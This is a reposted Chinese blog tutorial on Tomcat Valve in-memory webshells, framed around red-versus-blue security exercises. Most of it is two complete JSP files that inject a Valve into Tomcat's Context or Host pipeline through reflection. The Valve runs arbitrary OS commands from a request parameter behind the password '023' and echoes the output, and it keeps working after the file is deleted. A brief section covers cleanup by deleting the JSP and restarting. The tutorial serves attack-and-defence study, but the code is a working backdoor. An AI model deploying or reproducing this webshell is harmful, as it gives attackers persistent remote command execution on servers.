ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

tomcat Valve内存马

2021-07-09 19:03:39  阅读:470  来源: 互联网

标签:tomcat resp Valve 访问 jsp 内存 注入


  随着hw演习,红蓝对抗越来越激烈,攻防对抗研究无止尽,以前hw,黑客上传个jsp文件,直接kill掉就可以了,现在kill掉还得重启服务才可以,现在的木马是直接注入内存.

  应用场景:文件上传漏洞等

  反序列化漏洞,是直接注入生效,无需文件落地访问落地生效,今天围绕着文件访问落地注入内存马:

  我博客写了四篇tomcat文章,就是为tomcat内存马做铺垫:

  直接上demo:

<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public class myValue extends ValveBase {
        public void invoke(Request req, Response resp) throws IOException, ServletException {
            if ("023".equals(req.getParameter("pwd"))) {
                java.io.InputStream in = Runtime.getRuntime().exec(req.getParameter("i")).getInputStream();
                int a = -1;
                byte[] b = new byte[2048];
                resp.getWriter().write("<pre>");

                while ((a = in.read(b)) != -1) {
                    resp.getWriter().write(new String(b));
                }
                resp.getWriter().write("</pre>");
            }
            //注入调用invoke
            this.getNext().invoke(req, resp);
        }

    }
%>
<%
    myValue myValve = new myValue();
    //获取request属性
    Field request1 = request.getClass().getDeclaredField("request");
    request1.setAccessible(true);
    Request req = (Request) request1.get(request);
    System.out.println(req);
    //获取请求上下文地址,并转换成StandardContext
    StandardContext context = (StandardContext) req.getContext();
    Pipeline pipeline = context.getPipeline();
    pipeline.addValve(myValve);

%>
<html>
<head>
    <title>$Title$</title>
</head>
<body>
<h1>hello JavaWeb</h1>
</body>
</html>

  启动tomcat运行:

  

 

   这里可以设置响应404,更隐匿,这时候内存马已经被注入成功.

  访问一个不存在的页面:

  

 

  如果做了报错统一处理,是可以在不存在的一个页面上rce的,为什么这里可以执行命令,因为我做了缺省servlet:

  

 

 

 这段代码的缺陷是必须是可访问的界面,不能在jpg/ico/png静态资源上执行命令回显,我测试是不能在图片上回显....

    如果我是一张静态资源图片,是无法执行命令的,只会显示jpg,执行任何命令都没反应:

    

 

 

  对前面的代码做改造,因为有了一些tomcat架构设计基础,简单的改造下:

    首先访问test.jsp,让内存马注入生效

      

  再次访问jpg图片:  

    

 

 

 

  访问favicon.ico:

  

 

 

  

  代码如下:

<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public class myValue extends ValveBase {
        public void invoke(Request req, Response resp) throws IOException, ServletException {
            if ("023".equals(req.getParameter("pwd"))) {
                java.io.InputStream in = Runtime.getRuntime().exec(req.getParameter("i")).getInputStream();
                int a = -1;
                byte[] b = new byte[2048];
                resp.getWriter().write("<pre>");

                while ((a = in.read(b)) != -1) {
                    resp.getWriter().write(new String(b));
                }
                resp.getWriter().write("</pre>");
            }
            //注入调用invoke
            this.getNext().invoke(req, resp);
        }

    }
%>
<%
    myValue myValve = new myValue();
    //获取request属性
    Field request1 = request.getClass().getDeclaredField("request");
    request1.setAccessible(true);
    Request req = (Request) request1.get(request);
    System.out.println(req);
    StandardHost host = (StandardHost) req.getHost();
    Pipeline pipeline = host.getPipeline();
    pipeline.addValve(myValve);

%>
<html>
<head>
    <title>$Title$</title>
</head>
<body>
<h1>hello JavaWeb</h1>
</body>
</html>

  漏洞修复:

    (1)先删除jsp

  被中内存马后,删除jsp后一定要重启,这里我删除test.jsp,但是我没重启,仍然可以执行命令操作:

    

 

 

  删除jsp木马后,下一步就是重启tomcat服务:

    

 

 

  重启后,一切恢复正常,内存马清理成功.

  注意:如果没发现jsp shell,那么大概率是直接注入/攻击者删除了jsp,这时候直接重启tomcat服务即可解决问题

  Valve内存马学习参考链接:https://mp.weixin.qq.com/s/kfN6uU3A-jR72fyK8epnGw

  内存马现在花样套路层出不穷,花样百出,这里笔者只是抛砖引玉,安全之路任道众远!

 

  

 

  

标签:tomcat,resp,Valve,访问,jsp,内存,注入
来源: https://www.cnblogs.com/piaomiaohongchen/p/14992056.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有